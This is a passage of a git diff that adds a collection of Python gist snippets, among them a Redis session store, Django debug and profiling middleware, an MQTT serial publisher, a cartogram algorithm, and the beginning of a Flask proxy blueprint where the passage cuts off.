+            instance._check_unique_constraints()
+
+        @pre_delete.connect_via(cls)
+        @tasklets.tasklet
+        def delete_unique_values(sender, key=None, **kwargs):
+            instance = yield key.get_async()
+            if not instance:
+                logging.error(
+                    'pre_delete: Can not get instance for key %r' % key)
+                return
+            instance._delete_unique_values()
+
+    @property
+    def _unique_values(self):
+        for props in self.Meta.unique:
+            hsh = hashlib.md5()
+            values = {}
+            for prop in props:
+                values[prop] = getattr(self, prop)
+            hsh.update(repr(values))
+            hsh = hsh.hexdigest()
+            yield values, hsh
+
+    def _check_unique_constraints(self):
+        for values, hsh in self._unique_values:
+            if not self.Unique.create(hsh):
+                raise UniqueConstraintError(values)
+
+    def _delete_unique_values(self):
+        for values, hsh in self._unique_values:
+            model.Key(self.Unique, hsh).delete_async()
+
+
+class ChangedPropsMixin(object):
+    @classmethod
+    def _from_pb(cls, *args, **kwargs):
+        ent = super(ChangedPropsMixin, cls)._from_pb(*args, **kwargs)
+        ent._orig_values = ent._values.copy()
+        return ent
+
+    def prop_changed(self, *props, **kwargs):
+        _all = kwargs.pop('all', False)
+        if not hasattr(self, '_orig_values'):
+            return True
+        changes = [self._values[prop] != self._orig_values[prop]
+                   for prop in props]
+        func = all if _all else any
+        return func(changes)
+
+
+class UniqueConstraintError(Error):
+    """Raised when unique constraint is violated"""
+
+    def __init__(self, values):
+        self.values = values
+        Error.__init__(self,
+            'Unique constraint violated for values %r' % values)
diff --git a/hard-gists/1202066/._snippet.py b/hard-gists/1202066/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1202066/._snippet.py differ
diff --git a/hard-gists/1202066/snippet.py b/hard-gists/1202066/snippet.py
new file mode 100644
index 00000000..1b0c4d53
--- /dev/null
+++ b/hard-gists/1202066/snippet.py
@@ -0,0 +1,62 @@
+import redis
+import web
+
+SESSION = 'SESSION:'
+
+class RedisStore(web.session.Store):
+
+    """Store for saving a session in redis:
+    import rediswebpy
+    session = web.session.Session(app, rediswebpy.RedisStore(), initializer={'count': 0})
+    """
+    def __init__(self, ip='localhost', port=6379, db=0, initial_flush=False):
+        self.redis_server = redis.Redis(ip, port, db)
+        if initial_flush:
+            """
+            flushing the database is very important when you update your
+            Session object initializer dictionary argument.
+            E.g.
+            # Before Update:
+            session = web.session.Session(app,
+                                          rediswebpy.RedisStore(initial_flush=True),
+                                          initializer={'a':1})
+            # After Update:
+            session = web.session.Session(app,
+                                          rediswebpy.RedisStore(initial_flush=True),
+                                          initializer={'a':1, 'b':2})
+            # This will cause an error if initial_flush=False since existing
+            # sessions in Redis will not contain the key 'b'.
+            """
+            self.redis_server.flushdb()
+    
+    def __contains__(self, key):
+        # test if session exists for given key
+        return bool(self.redis_server.get(SESSION+key))
+
+    def __getitem__(self, key):
+        # attempt to get session data from redis store for given key
+        data = self.redis_server.get(SESSION+key)
+        # if the session existed for the given key
+        if data:
+            # update the expiration time
+            self.redis_server.expire(SESSION+key,
+                                     web.webapi.config.session_parameters.timeout)
+            return self.decode(data)
+        else:
+            raise KeyError
+
+    def __setitem__(self, key, value):
+        # set the redis value for given key to the encoded value, and reset the
+        # expiration time
+        self.redis_server.set(SESSION+key,
+                              self.encode(value))
+        self.redis_server.expire(SESSION+key,
+                                     web.webapi.config.session_parameters.timeout)
+                
+    def __delitem__(self, key):
+        self.redis_server.delete(SESSION+key)
+
+    def cleanup(self, timeout):
+        # since redis takes care of expiration for us, we don't need to do any
+        # clean up
+        pass
\ No newline at end of file
diff --git a/hard-gists/1202516/._snippet.py b/hard-gists/1202516/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1202516/._snippet.py differ
diff --git a/hard-gists/1202516/snippet.py b/hard-gists/1202516/snippet.py
new file mode 100644
index 00000000..69dd2267
--- /dev/null
+++ b/hard-gists/1202516/snippet.py
@@ -0,0 +1,14 @@
+import os
+import csv
+from subprocess import Popen, PIPE
+from Foundation import NSMutableDictionary
+
+build_number = os.popen4("git rev-parse --short HEAD")[1].read()
+info_plist = os.environ['BUILT_PRODUCTS_DIR'] + "/" + os.environ['WRAPPER_NAME'] + "/Info.plist"
+
+# Open the plist and write the short commit hash as the bundle version
+plist = NSMutableDictionary.dictionaryWithContentsOfFile_(info_plist)
+core_version = csv.reader([plist['CFBundleVersion'].rstrip()], delimiter=" ").next()[0]
+full_version = ''.join([core_version, ' build ', build_number])
+plist['CFBundleVersion'] = full_version.rstrip()
+plist.writeToFile_atomically_(info_plist, 1)
diff --git a/hard-gists/1203640/._snippet.py b/hard-gists/1203640/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1203640/._snippet.py differ
diff --git a/hard-gists/1203640/snippet.py b/hard-gists/1203640/snippet.py
new file mode 100644
index 00000000..db8e9dde
--- /dev/null
+++ b/hard-gists/1203640/snippet.py
@@ -0,0 +1,11 @@
+from django.conf import settings
+from django.core.mail import EmailMultiAlternatives
+from django.template.defaultfilters import striptags
+
+def send_mail(subject, html_message, from_email, recipient_list, fail_silently=False, connection=None):
+    text_message = striptags(html_message)
+    recipient_list = getattr(settings, 'EMAIL_RECIPIENTS_OVERRIDE', recipient_list)
+
+    msg = EmailMultiAlternatives(subject, text_message, from_email, recipient_list, connection=connection)
+    msg.attach_alternative(html_message, "text/html")
+    msg.send(fail_silently=fail_silently)
\ No newline at end of file
diff --git a/hard-gists/1207636/._snippet.py b/hard-gists/1207636/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1207636/._snippet.py differ
diff --git a/hard-gists/1207636/snippet.py b/hard-gists/1207636/snippet.py
new file mode 100644
index 00000000..8fe1cb4a
--- /dev/null
+++ b/hard-gists/1207636/snippet.py
@@ -0,0 +1,22 @@
+from django import template
+
+register = template.Library()
+
+class UpdateQuerystringNode(template.Node):
+    def __init__(self, **kwargs):
+        self.kwargs = kwargs
+
+    def render(self, context):
+        query_dict = context['request'].GET.copy()
+        for k,v in self.kwargs.items():
+            query_dict[k] = v
+        return query_dict.urlencode()
+
+@register.tag
+def update_querystring(parser, token):
+    """
+    From /?foo=bar, {% update_querystring foo=baz %}
+    will output foo=baz.
+    """
+    bits = token.split_contents()
+    return UpdateQuerystringNode(**dict([bit.split('=') for bit in bits[1:]]))
diff --git a/hard-gists/1210791/._snippet.py b/hard-gists/1210791/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1210791/._snippet.py differ
diff --git a/hard-gists/1210791/snippet.py b/hard-gists/1210791/snippet.py
new file mode 100644
index 00000000..51e1bf45
--- /dev/null
+++ b/hard-gists/1210791/snippet.py
@@ -0,0 +1,41 @@
+import sys
+from PyQt4.QtCore import (pyqtSlot, pyqtSignal, QObject, QSize, QUrl,
+                          SIGNAL)
+from PyQt4.QtGui import (QApplication, QImage, QPainter)
+from PyQt4.QtWebKit import QWebPage
+
+class Thumbnailer(QObject):
+    finished = pyqtSignal()
+
+    def __init__(self, parent=None):
+        QObject.__init__(self, parent)
+
+        self.webPage = QWebPage(self)
+        self.mainFrame = self.webPage.mainFrame()
+
+        self.webPage.loadFinished.connect(self.render)
+
+    def load(self, url):
+        qurl = QUrl(url)
+        self.webPage.mainFrame().load(qurl)
+
+    def render(self):
+        self.webPage.setViewportSize(self.webPage.mainFrame().contentsSize())
+        image = QImage(self.webPage.viewportSize(), QImage.Format_ARGB32)
+
+        painter = QPainter()
+        painter.begin(image)
+        self.webPage.mainFrame().render(painter)
+        painter.end()
+
+        image.save('thumbnail.png')
+        self.finished.emit()
+ 
+
+if __name__ == '__main__':
+    app = QApplication(sys.argv)
+    thumbnail = Thumbnailer()
+    thumbnail.finished.connect(app.quit)
+    thumbnail.load(sys.argv[1] if len(sys.argv) == 2 else 'http://www.hfut.edu.cn')
+    app.exec_()
+    
diff --git a/hard-gists/1217855/._snippet.py b/hard-gists/1217855/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1217855/._snippet.py differ
diff --git a/hard-gists/1217855/snippet.py b/hard-gists/1217855/snippet.py
new file mode 100644
index 00000000..45c1ebc2
--- /dev/null
+++ b/hard-gists/1217855/snippet.py
@@ -0,0 +1,26 @@
+import sys
+from gevent import server
+from gevent.baseserver import _tcp_listener
+from gevent import pywsgi
+from gevent.monkey import patch_all; patch_all()
+from multiprocessing import Process, current_process, cpu_count
+
+def hello_world(env, start_response):
+    if env['PATH_INFO'] == '/':
+        start_response('200 OK', [('Content-Type', 'text/html')])
+        return ["<b>hello world</b>"]
+    else:
+        start_response('404 Not Found', [('Content-Type', 'text/html')])
+        return ['<h1>Not Found</h1>']
+
+listener = _tcp_listener(('127.0.0.1', 8001))
+
+def serve_forever(listener):
+    pywsgi.WSGIServer(listener, hello_world).serve_forever()
+
+number_of_processes = 5
+print 'Starting %s processes' % number_of_processes
+for i in range(number_of_processes):
+    Process(target=serve_forever, args=(listener,)).start()
+
+serve_forever(listener)
\ No newline at end of file
diff --git a/hard-gists/1218932/._snippet.py b/hard-gists/1218932/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1218932/._snippet.py differ
diff --git a/hard-gists/1218932/snippet.py b/hard-gists/1218932/snippet.py
new file mode 100644
index 00000000..b4aff62f
--- /dev/null
+++ b/hard-gists/1218932/snippet.py
@@ -0,0 +1,90 @@
+#!/usr/bin/python
+#
+#simple app to read string from serial port
+#and publish via MQTT
+#
+#uses the Python MQTT client from the Mosquitto project
+#http://mosquitto.org
+#
+#Andy Piper http://andypiper.co.uk
+#2011/09/15
+
+import serial
+import mosquitto
+import os
+
+serialdev = '/dev/ttyUSB0'
+broker = "127.0.0.1"
+port = 1883
+
+
+#MQTT callbacks
+
+def on_connect(rc):
+    if rc == 0:
+    #rc 0 successful connect
+        print "Connected"
+    else:
+        raise Exception
+
+
+def on_publish(val):
+    print "Published ", val
+
+
+#called on exit
+#close serial, disconnect MQTT
+
+def cleanup():
+    print "Ending and cleaning up"
+    ser.close()
+    mqttc.disconnect()
+
+
+try:
+    print "Connecting... ", serialdev
+    #connect to serial port
+    ser = serial.Serial(serialdev, 9600, timeout=20)
+except:
+    print "Failed to connect serial"
+    #unable to continue with no serial input
+    raise SystemExit
+
+
+try:
+    ser.flushInput()
+    #create an mqtt client
+    mypid = os.getpid()
+    client_uniq = "arduino_pub_"+str(mypid)
+    mqttc = mosquitto.Mosquitto(client_uniq)
+
+    #attach MQTT callbacks
+    mqttc.on_connect = on_connect
+    mqttc.on_publish = on_publish
+
+    #connect to broker
+    mqttc.connect(broker, port, 60, True)
+
+    #remain connected to broker
+    #read data from serial and publish
+    while mqttc.loop() == 0:
+        line = ser.readline()
+        #split line as it contains V,temp
+        list = line.split(",")
+        #second list element is temp
+        temp = list[1].rstrip()
+        mqttc.publish("arduino/temp", temp)
+        pass
+
+
+# handle list index error (i.e. assume no data received)
+except (IndexError):
+    print "No data received within serial timeout period"
+    cleanup()
+# handle app closure
+except (KeyboardInterrupt):
+    print "Interrupt received"
+    cleanup()
+except (RuntimeError):
+    print "uh-oh! time to die"
+    cleanup()
\ No newline at end of file
diff --git a/hard-gists/1219671/._snippet.py b/hard-gists/1219671/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1219671/._snippet.py differ
diff --git a/hard-gists/1219671/snippet.py b/hard-gists/1219671/snippet.py
new file mode 100644
index 00000000..5154d536
--- /dev/null
+++ b/hard-gists/1219671/snippet.py
@@ -0,0 +1,17 @@
+# Uses PyWin32 http://timgolden.me.uk/pywin32-docs/win32clipboard.html
+import win32clipboard
+
+def get_clipboard():
+	win32clipboard.OpenClipboard()
+	data = win32clipboard.GetClipboardData()
+	win32clipboard.CloseClipboard()
+	return data
+
+def set_clipboard(text):
+	win32clipboard.OpenClipboard()
+	win32clipboard.EmptyClipboard()
+	win32clipboard.SetClipboard(text.encode('utf-8'),
+					win32clipboard.CF_TEXT)
+	win32clipboard.SetClipboard(unicode(text),
+					win32clipboard.CF_UNICODETEXT)
+	win32clipboard.CloseClipboard()
diff --git a/hard-gists/1219955/._snippet.py b/hard-gists/1219955/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1219955/._snippet.py differ
diff --git a/hard-gists/1219955/snippet.py b/hard-gists/1219955/snippet.py
new file mode 100644
index 00000000..cb33d519
--- /dev/null
+++ b/hard-gists/1219955/snippet.py
@@ -0,0 +1,156 @@
+#!/usr/bin/env python
+#
+# based on XMPPLoggingHandler, Copyright 2011 Calvin Rien,
+# based on ExceptionRecordHandler, Copyright 2007 Google Inc.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+"""A logging handler that sends errors over email.
+
+Example usage:
+
+In your handler script(s), add:
+
+    import logging
+    import email_logger
+
+    email_logger.register_logger('recipient@gmail.address')        
+"""
+
+import hashlib
+import logging
+import os
+
+from google.appengine.api import memcache, xmpp
+from google.appengine.api import mail
+
+import simplejson
+
+LOG_FORMAT = '%(levelname)-8s %(asctime)s %(filename)s:%(lineno)s] %(message)s'
+
+MAX_SIGNATURE_LENGTH = 256
+
+debug = os.environ.get('SERVER_SOFTWARE', '').startswith('Dev')
+app_id = os.environ.get('APPLICATION_ID')
+app_ver = os.environ.get('CURRENT_VERSION_ID')
+
+class EmailLoggingHandler(logging.Handler):
+    """A handler that sends log messages out over XMPP.    
+    """
+
+    def __init__(self, recipients, log_interval=350, log_level=logging.NOTSET):
+        """
+        Constructs a new EmailLoggingHandler.
+        
+        @param recipients: can be email address, 
+                           list of email addresses, 
+                           tuple ('email_address', logging_level), 
+                           or dictionary {'email_address':logging_level, ...}
+        @param log_interval: How long before a log entry will generate another message.
+                            This is to prevent spamming if tons of requests 
+                            are generating the same log message.
+        @param log_level: default log level that will be sent over XMPP
+        """
+        self.log_interval = log_interval
+
+        if isinstance(recipients, basestring):
+            recipients = recipients.split(',')
+        elif isinstance(recipients, tuple):
+            recipients = dict([recipients])
+
+        if isinstance(recipients, (list, set)):
+            self.recipients = {}
+            for recipient in recipients:
+                self.recipients[recipient] = {}
+        elif isinstance(recipients, dict):
+            self.recipients = recipients
+        else:
+            raise Exception('recipients argument must be string, list, or dict')
+
+        for address, params in self.recipients.items():
+            if not isinstance(params, dict):
+                params = {'level': params}
+
+            if 'level' not in params:
+                params['level'] = log_level
+
+            self.recipients[address] = params
+
+        logging.Handler.__init__(self)
+
+        self.setFormatter(logging.Formatter(LOG_FORMAT))
+
+    @classmethod
+    def __GetRecordSignature(cls, record):
+        """Returns a unique signature string for a record.
+
+        Args:
+            record: The record object being logged.
+
+        Returns:
+            A unique signature string for the record.
+        """
+        signature = ':'.join([str(e) for e in [record.levelno, record.pathname, record.lineno, record.funcName]])
+        if len(signature) > MAX_SIGNATURE_LENGTH:
+            signature = 'hash:%s' % hashlib.sha256(signature).hexdigest()
+
+        return signature
+
+    def emit(self, record):
+        """Send a log error over email.
+
+        Args:
+            The logging.LogRecord object.
+                See http://docs.python.org/library/logging.html#logging.LogRecord
+        """
+        if debug and record.levelno < logging.WARNING:
+            # NOTE: You don't want to try this on dev_appserver. Trust me.
+            return
+
+        signature = self.__GetRecordSignature(record)
+
+        if not memcache.add(signature, True, time=self.log_interval):
+            return
+
+        formatted_record = self.format(record)
+            
+        try:
+            for jid, params in self.recipients.items():
+                if record.levelno < params['level']:
+                    continue
+
+                sender = 'errors@%s.appspotmail.com' % (app_id)
+                message = mail.EmailMessage(sender=sender, to=self.recipients)
+                message.subject = '(%s) error reported for %s, version %s' % (record.levelname, app_id, app_ver)
+                message.body = formatted_record
+                message.send()
+
+        except Exception:
+            self.handleError(record)
+
+
+def register_logger(recipients, logger=None):
+    """
+    @param recipients: can be email address, 
+                       list of email addresses, 
+                       tuple ('email_address', logging_level), 
+                       or dictionary {'email_address':logging_level, ...}
+    @param logger: optional logger to add the handler to.    
+
+    """
+    if not logger:
+        logger = logging.getLogger()
+    handler = EmailLoggingHandler(recipients)
+    logger.addHandler(handler)
+    return handler
\ No newline at end of file
diff --git a/hard-gists/1228626/._snippet.py b/hard-gists/1228626/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1228626/._snippet.py differ
diff --git a/hard-gists/1228626/snippet.py b/hard-gists/1228626/snippet.py
new file mode 100644
index 00000000..6539bec1
--- /dev/null
+++ b/hard-gists/1228626/snippet.py
@@ -0,0 +1,223 @@
+import math
+from django.contrib.gis.geos import Point
+
+
+class Cartogram(object):
+    """
+    Takes a GeoDjango queryset and creates a cartogram of circles based on 
+    the Dorling algorithm.
+    
+    User must provide a queryset and strings pointing to the data attribute
+    and the polygon attribute.
+    
+    The returned queryset will contain a new attribute, 'circle', that contains
+    a polygon object ready to be rendered.
+    
+    Example usage:
+        
+        >> from dorling import Cartogram
+        >> from models import Geography
+        >> queryset = Geography.objects.all()
+        >> cartogram = Cartogram(queryset, 'population', 'polygon')
+        >> enhanced_queryset = cartogram.make()
+    
+    Based on code published by Zachary Forest Johnson
+    
+        http://indiemaps.com/blog/2008/01/dorlingpy/
+    
+    """
+    def __init__(self, queryset, data_attr, polygon_attr, iterations=500,
+        friction=0.25, ratio=0.4):
+        self.queryset = queryset
+        [setattr(obj, 'i', i) for i, obj in enumerate(self.queryset)]
+        self.data_attr = data_attr
+        self.polygon_attr = polygon_attr
+        self.iterations = iterations
+        self.n = len(queryset)
+        self.friction = friction
+        self.ratio = ratio
+        self.widest_radius = 0.0
+        self.x_vectors = dict((i, 0.0) for i in range(self.n))
+        self.y_vectors = dict((i, 0.0) for i in range(self.n))
+        self.x_values = dict((i, getattr(obj, self.polygon_attr).centroid.x) for i, obj in enumerate(self.queryset))
+        self.y_values = dict((i, getattr(obj, self.polygon_attr).centroid.y) for i, obj in enumerate(self.queryset))
+        self.data_values = dict((i, getattr(obj, self.data_attr)) for i, obj in enumerate(self.queryset))
+        self.perimeter_values = dict((i, 0.0) for i in range(self.n))
+        self.border_values = dict((i, {}) for i in range(self.n))
+        self.total_distance = 0.0
+        self.total_radius = 0.0
+        self.radius_values = {}
+        self.tree = {}
+        self.end_pointer = 1
+        self.scale = None
+        self.neigbors_within_distance = 0
+        self.neighbor_counts = {}
+        # Mysterious name from code I'm rewriting
+        self.mylist = {}
+    
+    def make(self):
+    
+        #
+        # Determine the neighbors of each object and our global scale
+        #
+        
+        for obj in self.queryset:
+            this_polygon = getattr(obj, self.polygon_attr)
+            this_data = getattr(obj, self.data_attr)
+            obj.neighbor_list = []
+            for other in [x for x in self.queryset if x.i != obj.i]:
+                other_polygon = getattr(other, self.polygon_attr)
+                other_data = getattr(other, self.data_attr)
+                shared_border = this_polygon.intersection(other_polygon).length
+                if shared_border:
+                    obj.neighbor_list.append(other)
+                    self.border_values[obj.i][other.i] = shared_border
+                    self.perimeter_values[obj.i] += shared_border
+                    xd = (this_polygon.centroid.x - other_polygon.centroid.x)
+                    yd = (this_polygon.centroid.y - other_polygon.centroid.y)
+                    self.total_distance += math.sqrt(xd*xd+yd*yd)
+                    self.total_radius += math.sqrt(this_data/math.pi) + math.sqrt(other_data/math.pi)
+            self.neighbor_counts[obj.i] = len(obj.neighbor_list)
+        self.scale = self.total_distance / self.total_radius
+        
+        #
+        # Calculate the radii we'll start with
+        #
+        
+        for obj in self.queryset:
+            this_radius = self.scale * math.sqrt(getattr(obj, self.data_attr)/math.pi)
+            self.radius_values[obj.i] = this_radius
+            obj.radius = this_radius
+            if this_radius > self.widest_radius:
+                self.widest_radius = this_radius
+            obj.circle = getattr(obj, self.polygon_attr).centroid.buffer(this_radius)
+        
+        #
+        # Make the moves
+        #
+        
+        for iteration in range(self.iterations):
+            self.end_pointer = 1
+            self.tree = dict((i, {'id': 0}) for i in range(self.n))
+            [self.add_point(1, 1, obj) for obj in self.queryset]
+
+            for obj in self.queryset:
+                self.neighbors_within_distance = 0
+                distance = self.widest_radius + obj.radius
+                self.get_point(1, 1, obj, distance)
+                xrepel = yrepel = 0.0
+                xattract = yattract = 0.0
+                closest = self.widest_radius
+            
+                # Work out repelling force of overlapping neighbours
+                if self.neighbors_within_distance > 0:
+                    for i in range(self.neighbors_within_distance):
+                        other = self.mylist[i]
+                        if other != obj.i:
+                            xd = self.x_values[other]-self.x_values[obj.i]
+                            yd = self.y_values[other]-self.y_values[obj.i]
+                            dist = math.sqrt(xd * xd + yd * yd)
+                            if dist < closest:
+                                closest = dist
+                            overlap = obj.radius + self.radius_values[other] - dist
+                            if overlap > 0.0:
+                                if dist > 1.0:
+                                    xrepel = xrepel - overlap*(self.x_values[other]-self.x_values[obj.i])/dist
+                                    yrepel = yrepel - overlap*(self.y_values[other]-self.y_values[obj.i])/dist
+                
+                # Work out forces of attraction between neighbours
+                this_polygon = getattr(obj, self.polygon_attr)
+                for other in obj.neighbor_list:
+                    if other.i != 0:
+                        other_polygon = getattr(other, self.polygon_attr)
+                        xd = (this_polygon.centroid.x-other_polygon.centroid.x)
+                        yd = (this_polygon.centroid.y-other_polygon.centroid.y)
+                        dist = math.sqrt(xd * xd + yd * yd)
+                        overlap = dist - obj.radius - other.radius
+                        if overlap > 0.0:
+                            overlap = overlap * self.border_values[obj.i][other.i]/self.perimeter_values[obj.i]
+                            xattract = xattract + overlap*(self.x_values[other.i]-self.x_values[obj.i])/dist
+                            yattract = yattract + overlap*(self.y_values[other.i]-self.y_values[obj.i])/dist
+            
+                # Now work out the combined effect of attraction and repulsion 
+                atrdst = math.sqrt(xattract * xattract + yattract * yattract)
+                repdst = math.sqrt(xrepel * xrepel + yrepel * yrepel)
+                if repdst > closest:
+                    xrepel = closest * xrepel / (repdst + 1.0)
+                    yrepel = closest * yrepel / (repdst + 1.0)
+                    repdst = closest
+                if repdst > 0.0:
+                    xtotal = (1.0-self.ratio) * xrepel + self.ratio*(repdst*xattract/(atrdst + 1.0))
+                    ytotal = (1.0-self.ratio) * yrepel + self.ratio*(repdst*yattract/(atrdst + 1.0))
+                else:
+                    if atrdst > closest:
+                        xattract = closest * xattract/(atrdst+1.0)
+                        yattract = closest * yattract/(atrdst+1.0)
+                    xtotal = xattract
+                    ytotal = yattract
+                self.x_vectors[obj.i] = self.friction * (self.x_vectors[obj.i] + xtotal)
+                self.y_vectors[obj.i] = self.friction * (self.y_vectors[obj.i] + ytotal)
+            
+            # Update the position for each object
+            for obj in self.queryset:
+                self.x_values[obj.i] += self.x_vectors[obj.i] + 0.5
+                self.y_values[obj.i] += self.y_vectors[obj.i] + 0.5
+                obj.circle = Point(
+                    self.x_values[obj.i],
+                    self.y_values[obj.i],
+                ).buffer(obj.radius)
+            
+        # Pass it back out
+        return self.queryset
+
+    def add_point(self, pointer, axis, obj):
+        if self.tree[pointer]['id'] == 0:
+            self.tree[pointer]['id'] = obj.i
+            self.tree[pointer]['left'] = 0
+            self.tree[pointer]['right'] = 0
+            self.tree[pointer]['xpos'] = self.x_values[obj.i]
+            self.tree[pointer]['ypos'] = self.y_values[obj.i]
+        else:
+            if axis == 1:
+                if self.x_values[obj.i] >= self.tree[pointer]['xpos']:
+                    if self.tree[pointer]['left'] == 0:
+                        self.end_pointer += 1
+                        self.tree[pointer]['left'] = self.end_pointer
+                    self.add_point(self.tree[pointer]['left'], 3-axis, obj)
+                else:
+                    if self.tree[pointer]['right'] == 0:
+                        self.end_pointer += 1
+                        self.tree[pointer]['right'] = self.end_pointer
+                    self.add_point(self.tree[pointer]['right'], 3-axis, obj)
+            else:
+                if self.y_values[obj.i] >= self.tree[pointer]['ypos']:
+                    if self.tree[pointer]['left'] == 0:
+                        self.end_pointer += 1
+                        self.tree[pointer]['left'] = self.end_pointer
+                    self.add_point(self.tree[pointer]['left'], 3-axis, obj)
+                else:
+                    if self.tree[pointer]['right'] == 0:
+                        self.end_pointer += 1
+                        self.tree[pointer]['right'] = self.end_pointer
+                    self.add_point(self.tree[pointer]['right'], 3-axis, obj)
+
+    def get_point(self, pointer, axis, obj, distance):
+        if pointer > 0:
+            if self.tree[pointer]['id'] > 0:
+                if axis == 1:
+                    if self.x_values[obj.i]-distance < self.tree[pointer]['xpos']:
+                        self.get_point(self.tree[pointer]['right'], 3-axis, obj, distance)
+                    if self.x_values[obj.i]+distance >= self.tree[pointer]['xpos']:
+                        self.get_point(self.tree[pointer]['left'], 3-axis, obj, distance)
+                if axis == 2:
+                    if self.y_values[obj.i]-distance < self.tree[pointer]['ypos']:
+                        self.get_point(self.tree[pointer]['right'], 3-axis, obj, distance)
+                    if self.y_values[obj.i]+distance >= self.tree[pointer]['ypos']:
+                        self.get_point(self.tree[pointer]['left'], 3-axis, obj, distance)
+                if (self.x_values[obj.i]-distance < self.tree[pointer]['xpos'] and
+                    self.x_values[obj.i]+distance >= self.tree[pointer]['xpos']):
+                    if (self.y_values[obj.i]-distance < self.tree[pointer]['ypos'] and
+                        self.y_values[obj.i]+distance >= self.tree[pointer]['ypos']):
+                            self.mylist[self.neighbors_within_distance] = self.tree[pointer]['id']
+                            self.neighbors_within_distance += 1
+
diff --git a/hard-gists/1229681/._snippet.py b/hard-gists/1229681/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1229681/._snippet.py differ
diff --git a/hard-gists/1229681/snippet.py b/hard-gists/1229681/snippet.py
new file mode 100644
index 00000000..4b998785
--- /dev/null
+++ b/hard-gists/1229681/snippet.py
@@ -0,0 +1,48 @@
+from django.core.exceptions import MiddlewareNotUsed
+from django.conf import settings
+import cProfile
+import pstats
+import marshal
+from cStringIO import StringIO
+
+class ProfileMiddleware(object):
+    def __init__(self):
+        if not settings.DEBUG:
+            raise MiddlewareNotUsed()
+        self.profiler = None
+
+    def process_view(self, request, callback, callback_args, callback_kwargs):
+        if settings.DEBUG and ('profile' in request.GET
+                            or 'profilebin' in request.GET):
+            self.profiler = cProfile.Profile()
+            args = (request,) + callback_args
+            return self.profiler.runcall(callback, *args, **callback_kwargs)
+
+    def process_response(self, request, response):
+        if settings.DEBUG:
+            if 'profile' in request.GET:
+                self.profiler.create_stats()
+                out = StringIO()
+                stats = pstats.Stats(self.profiler, stream=out)
+                # Values for stats.sort_stats():
+                # - calls           call count
+                # - cumulative      cumulative time
+                # - file            file name
+                # - module          file name
+                # - pcalls          primitive call count
+                # - line            line number
+                # - name            function name
+                # - nfl                     name/file/line
+                # - stdname         standard name
+                # - time            internal time
+                stats.sort_stats('time').print_stats(.2)
+                response.content = out.getvalue()
+                response['Content-type'] = 'text/plain'
+            if 'profilebin' in request.GET:
+                self.profiler.create_stats()
+                response.content = marshal.dumps(self.profiler.stats)
+                filename = request.path.strip('/').replace('/','_') + '.pstat'
+                response['Content-Disposition'] = \
+                    'attachment; filename=%s' % (filename,)
+                response['Content-type'] = 'application/octet-stream'
+        return response
\ No newline at end of file
diff --git a/hard-gists/1229685/._snippet.py b/hard-gists/1229685/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1229685/._snippet.py differ
diff --git a/hard-gists/1229685/snippet.py b/hard-gists/1229685/snippet.py
new file mode 100644
index 00000000..1fe6ee09
--- /dev/null
+++ b/hard-gists/1229685/snippet.py
@@ -0,0 +1,9 @@
+from django.conf import settings
+from django.db import connection
+
+class SqldumpMiddleware(object):
+    def process_response(self, request, response):
+        if settings.DEBUG and 'sqldump' in request.GET:
+            response.content = str(connection.queries)
+            response['Content-Type'] = 'text/plain'
+        return response
diff --git a/hard-gists/1229770/._snippet.py b/hard-gists/1229770/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1229770/._snippet.py differ
diff --git a/hard-gists/1229770/snippet.py b/hard-gists/1229770/snippet.py
new file mode 100644
index 00000000..255c36ca
--- /dev/null
+++ b/hard-gists/1229770/snippet.py
@@ -0,0 +1,113 @@
+# coding:utf-8
+# Copyright 2011 litl, LLC. All Rights Reserved.
+
+import httplib
+import re
+import urllib
+import urlparse
+
+from flask import Blueprint, request, Response, url_for
+from werkzeug.datastructures import Headers
+from werkzeug.exceptions import NotFound
+
+from jiffy.admin.login import check_login
+
+proxy = Blueprint('proxy', __name__)
+
+proxy.before_request(check_login)
+
+HTML_REGEX = re.compile(r'((?:src|action|href)=["\'])/')
+JQUERY_REGEX = re.compile(r'(\$\.(?:get|post)\(["\'])/')
+JS_LOCATION_REGEX = re.compile(r'((?:window|document)\.location.*=.*["\'])/')
+CSS_REGEX = re.compile(r'(url\(["\']?)/')
+
+REGEXES = [HTML_REGEX, JQUERY_REGEX, JS_LOCATION_REGEX, CSS_REGEX]
+
+
+def iterform(multidict):
+    for key in multidict.keys():
+        for value in multidict.getlist(key):
+            yield (key.encode("utf8"), value.encode("utf8"))
+
+def parse_host_port(h):
+    """Parses strings in the form host[:port]"""
+    host_port = h.split(":", 1)
+    if len(host_port) == 1:
+        return (h, 80)
+    else:
+        host_port[1] = int(host_port[1])
+        return host_port
+
+
+@proxy.route('/proxy/<host>/', methods=["GET", "POST"])
+@proxy.route('/proxy/<host>/<path:file>', methods=["GET", "POST"])
+def proxy_request(host, file=""):
+    hostname, port = parse_host_port(host)
+
+    # Whitelist a few headers to pass on
+    request_headers = {}
+    for h in ["Cookie", "Referer", "X-Csrf-Token"]:
+        if h in request.headers:
+            request_headers[h] = request.headers[h]
+
+    if request.query_string:
+        path = "/%s?%s" % (file, request.query_string)
+    else:
+        path = "/" + file
+
